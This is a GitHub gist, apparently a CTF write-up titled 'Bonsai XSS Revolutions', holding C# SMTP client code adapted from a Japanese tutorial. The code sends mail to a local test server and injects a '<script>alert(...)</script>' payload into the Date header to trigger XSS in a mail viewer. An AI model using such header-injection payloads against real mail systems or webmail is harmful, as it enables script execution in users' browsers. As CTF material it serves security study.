Create a gist now

Instantly share code, notes, and snippets.

Bonsai XSS Revolutions writeup
// SMTPでメールを送信する: .NET Tips: C#, VB.NET
// http://dobon.net/vb/dotnet/internet/smtpmail.html
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Mail;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
namespace mail
{
class Program
{
static void Main(string[] args)
{
while (true)
{
try
{
var from = Console.ReadLine();
var mail = new SmtpMailMessage
{
From = from,
To = "keigo.yamazaki@tsuribori.test",
Subject = "hoge",
Body = "hoge"
};
var smtp = new Smtp();
//SMTPサーバー名
smtp.SmtpServer = "localhost";
//ポート番号
smtp.SmtpPort = 25;
smtp.Send(mail);
}
catch
{
Console.WriteLine("fail");
}
}
}
}
/// <summary>
/// 送信用のメールメッセージを表すクラス
/// </summary>
public class SmtpMailMessage
{
private string _from = "";
/// <summary>
/// 送信者のメールアドレス
/// </summary>
public string From
{
get
{
return _from;
}
set
{
_from = value;
}
}
private string _to = "";
/// <summary>
/// 送信先のメールアドレス
/// </summary>
public string To
{
get
{
return _to;
}
set
{
_to = value;
}
}
private string _subject = "";
/// <summary>
/// メールの件名
/// </summary>
public string Subject
{
get
{
return _subject;
}
set
{
_subject = value;
}
}
private string _body = "";
/// <summary>
/// メールの本文
/// </summary>
public string Body
{
get
{
return _body;
}
set
{
_body = value;
}
}
private Encoding _encoding = Encoding.GetEncoding(50220);
/// <summary>
/// 使用するエンコーディング
/// </summary>
public Encoding Encoding
{
get
{
return _encoding;
}
set
{
_encoding = value;
}
}
}
/// <summary>
/// Smtpクラスで発生するエラーを表したクラス
/// </summary>
public class SmtpException : Exception
{
public SmtpException()
: base()
{
}
public SmtpException(string message)
: base(message)
{
}
public SmtpException(string message, Exception inner)
: base(message, inner)
{
}
}
/// <summary>
/// SMTPの認証方法を表す列挙体
/// </summary>
public enum SmtpAuthMethod
{
/// <summary>
/// 認証を行わない
/// </summary>
None,
/// <summary>
/// AUTH PLAIN
/// </summary>
Plain,
/// <summary>
/// AUTH LOGIN
/// </summary>
Login,
/// <summary>
/// AUTH CRAM-MD5
/// </summary>
CramMd5
}
/// <summary>
/// SMTPでメールを送信するためのクラス
/// </summary>
public class Smtp : IDisposable
{
#region プロパティ
private string _smtpServer = "";
/// <summary>
/// SMTPサーバー
/// </summary>
public string SmtpServer
{
get
{
return _smtpServer;
}
set
{
_smtpServer = value;
}
}
private int _smtpPort = 25;
/// <summary>
/// ポート番号
/// </summary>
public int SmtpPort
{
get
{
return _smtpPort;
}
set
{
_smtpPort = value;
}
}
private string _authUserName = "";
/// <summary>
/// 認証で用いるユーザー名
/// </summary>
public string AuthUserName
{
get
{
return _authUserName;
}
set
{
_authUserName = value;
}
}
private string _authPassword = "";
/// <summary>
/// 認証で用いるパスワード
/// </summary>
public string AuthPassword
{
get
{
return _authPassword;
}
set
{
_authPassword = value;
}
}
private SmtpAuthMethod _authMethod = SmtpAuthMethod.None;
/// <summary>
/// 使用する認証方法
/// </summary>
public SmtpAuthMethod AuthMethod
{
get
{
return _authMethod;
}
set
{
_authMethod = value;
}
}
private string _heloName = System.Net.Dns.GetHostName();
/// <summary>
/// EHLOで送信するドメイン名
/// </summary>
public string HeloName
{
get
{
return _heloName;
}
set
{
_heloName = value;
}
}
#endregion
#region フィールド
private TcpClient _socket;
private NetworkStream _stream;
private System.IO.StreamReader _reader;
private System.IO.StreamWriter _writer;
//SMTPサーバーから受信したメッセージ
private string _receivedMessage;
//SMTPサーバーから受信したReply Code
private int _receivedCode;
private Encoding _encoding;
#endregion
#region パブリックメソッド
/// <summary>
/// メールを送信する
/// </summary>
/// <param name="mail">送信するメール</param>
public void Send(SmtpMailMessage mail)
{
//初期設定
_encoding = mail.Encoding;
try
{
//SMTPサーバーと接続する
Connect();
//EHLO
SendHeloCommand(HeloName);
//AUTH
if (AuthMethod != SmtpAuthMethod.None)
Authenticate();
//MAIL FROM
SendMailFromCommand(mail.From);
//RCPT TO
SendRcptToCommand(mail.To);
//DATA
SendDataCommand(mail);
//QUIT
SendQuitCommand();
}
finally
{
//切断する
Close();
}
}
/// <summary>
/// SMTPサーバーと接続する
/// </summary>
public void Connect()
{
if (_socket != null)
Close();
//TcpClientオブジェクトを作成する
_socket = new TcpClient();
//SMTPサーバーと接続する
_socket.Connect(SmtpServer, SmtpPort);
//サーバーとデータの送受信を行うストリームを取得する
_stream = _socket.GetStream();
_reader = new System.IO.StreamReader(_stream, _encoding);
_writer = new System.IO.StreamWriter(_stream, _encoding);
//サーバーからのはじめのメッセージを受信
ReceiveData();
if (_receivedCode != 220)
throw new SmtpException(_receivedMessage);
}
/// <summary>
/// SMTPサーバーに文字列を送信し、応答を受信する
/// </summary>
/// <param name="message">送信する文字列</param>
/// <returns>受信した応答</returns>
public string SendAndReceiveData(string message)
{
if (_socket == null)
throw new SmtpException("サーバーに接続していません。");
SendData(message);
ReceiveData();
return _receivedMessage;
}
/// <summary>
/// SMTPサーバーとの接続を終了する
/// </summary>
public void Close()
{
Dispose();
}
public void Dispose()
{
if (_reader != null)
{
_reader.Close();
}
if (_writer != null)
{
_writer.Close();
}
if (_stream != null)
{
_stream.Close();
}
if (_socket != null)
{
_socket.Close();
}
_socket = null;
}
#endregion
#region プライベートメソッド
//サーバーからデータを受信する
private void ReceiveData()
{
StringBuilder buffer = new StringBuilder();
string line;
do
{
//1行読み取る
line = _reader.ReadLine();
if (line == null)
{
break;
}
buffer.Append(line).Append("\r\n");
//表示
System.Diagnostics.Debug.WriteLine("S: " + line);
}
while (System.Text.RegularExpressions.Regex.IsMatch(
line, @"^\d+-"));
//受信したメッセージとコードをフィールドに入れる
_receivedMessage = buffer.ToString();
_receivedCode = int.Parse(_receivedMessage.Substring(0, 3));
}
//サーバーにデータを送信する
private void SendData(string str)
{
//送信
_writer.Write(str);
_writer.Flush();
//表示
System.Diagnostics.Debug.Write("C: " + str);
}
//エンコードし、Base64に変換
private string GetBase64String(string str)
{
return Convert.ToBase64String(_encoding.GetBytes(str));
}
//EHLOコマンドを送る
private void SendHeloCommand(string domainName)
{
SendAndReceiveData("EHLO " + domainName + "\r\n");
if (_receivedCode != 250)
throw new SmtpException(_receivedMessage);
}
//MAIL FROMコマンドを送る
private void SendMailFromCommand(string fromAddress)
{
SendAndReceiveData("MAIL FROM:<" + fromAddress + ">\r\n");
if (_receivedCode != 250)
throw new SmtpException(_receivedMessage);
}
//RCPT TOコマンドを送る
private void SendRcptToCommand(string toAddress)
{
SendAndReceiveData("RCPT TO:<" + toAddress + ">\r\n");
if (_receivedCode < 250 || 251 < _receivedCode)
throw new SmtpException(_receivedMessage);
}
//DATAコマンドを送る
private void SendDataCommand(SmtpMailMessage mail)
{
SendAndReceiveData("DATA\r\n");
if (_receivedCode != 354)
throw new SmtpException(_receivedMessage);
//送信データを作成する
string data = CreateSendStringDataFromMessage(mail);
SendAndReceiveData(data);
if (_receivedCode != 250)
throw new SmtpException(_receivedMessage);
}
//SmtpMailMessageをDATAコマンドで送信する文字列に変換する
private string CreateSendStringDataFromMessage(SmtpMailMessage mail)
{
StringBuilder data = new StringBuilder();
data.Append("From: ").Append(mail.From).Append("\r\n");
data.Append("To: ").Append(mail.To).Append("\r\n");
//件名をBase64でエンコード
data.Append("Subject: =?" + _encoding.BodyName + "?B?").
Append(GetBase64String(mail.Subject)).
Append("?=").Append("\r\n");
// XSS
data.Append("Date: <script>alert(window.navigator.userAgent);</script>\r\n");
data.Append("MIME-Version: 1.0\r\n");
data.Append("Content-Transfer-Encoding: 7bit\r\n");
data.Append("Content-Type: text/plain; charset=" +
_encoding.BodyName + "\r\n");
data.Append("\r\n").
Append(mail.Body.Replace("\r\n.\r\n", "\r\n..\r\n"));
data.Append("\r\n.\r\n");
return data.ToString();
}
//QUITコマンドを送る
private void SendQuitCommand()
{
SendAndReceiveData("QUIT\r\n");
//if (_receivedCode != 221)
// throw new SmtpException(_receivedMessage);
}
//認証を行う
private void Authenticate()
{
switch (AuthMethod)
{
case SmtpAuthMethod.Plain:
AuthenticateWithAuthPlain();
break;
case SmtpAuthMethod.Login:
AuthenticateWithAuthLogin();
break;
case SmtpAuthMethod.CramMd5:
AuthenticateWithCramMd5();
break;
}
}
//AUTH PLAINで認証を行う
private void AuthenticateWithAuthPlain()
{
SendAndReceiveData("AUTH PLAIN\r\n");
if (_receivedCode != 334)
{
if (_receivedCode == 502)
//認証の必要なし
return;
throw new SmtpException(_receivedMessage);
}
string str = AuthUserName + '\0' + AuthUserName +
'\0' + AuthPassword;
SendAndReceiveData(GetBase64String(str) + "\r\n");
if (_receivedCode != 235)
throw new SmtpException(_receivedMessage);
}
//AUTH LOGINで認証を行う
private void AuthenticateWithAuthLogin()
{
SendAndReceiveData("AUTH LOGIN\r\n");
if (_receivedCode != 334)
{
if (_receivedCode == 502)
//認証の必要なし
return;
throw new SmtpException(_receivedMessage);
}
SendAndReceiveData(GetBase64String(AuthUserName) + "\r\n");
if (_receivedCode != 334)
throw new SmtpException(_receivedMessage);
SendAndReceiveData(GetBase64String(AuthPassword) + "\r\n");
if (_receivedCode != 235)
throw new SmtpException(_receivedMessage);
}
//CRAM-MD5で認証を行う
private void AuthenticateWithCramMd5()
{
SendAndReceiveData("AUTH CRAM-MD5\r\n");
if (_receivedCode != 334)
{
if (_receivedCode == 502)
//認証の必要なし
return;
throw new SmtpException(_receivedMessage);
}
SendAndReceiveData(CreateCramMd5ResponseString(
_receivedMessage.Substring(4), AuthUserName, AuthPassword)
+ "\r\n");
if (_receivedCode != 235)
throw new SmtpException(_receivedMessage);
}
//CRAM-MD5で返す文字列を計算する
private static string CreateCramMd5ResponseString(
string challenge, string username, string password)
{
//デコードする
byte[] decCha = Convert.FromBase64String(challenge);
//passwordをキーとしてHMAC-MD5で暗号化する
System.Security.Cryptography.HMACMD5 hmacMd5 =
new System.Security.Cryptography.HMACMD5(
Encoding.UTF8.GetBytes(password));
byte[] encCha = hmacMd5.ComputeHash(decCha);
hmacMd5.Clear();
//16進数の文字列にする
string hexCha = BitConverter.ToString(encCha).
Replace("-", "").ToLower();
//usernameを付ける
hexCha = username + " " + hexCha;
//Base64で文字列にする
return Convert.ToBase64String(Encoding.UTF8.GetBytes(hexCha));
}
#endregion
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment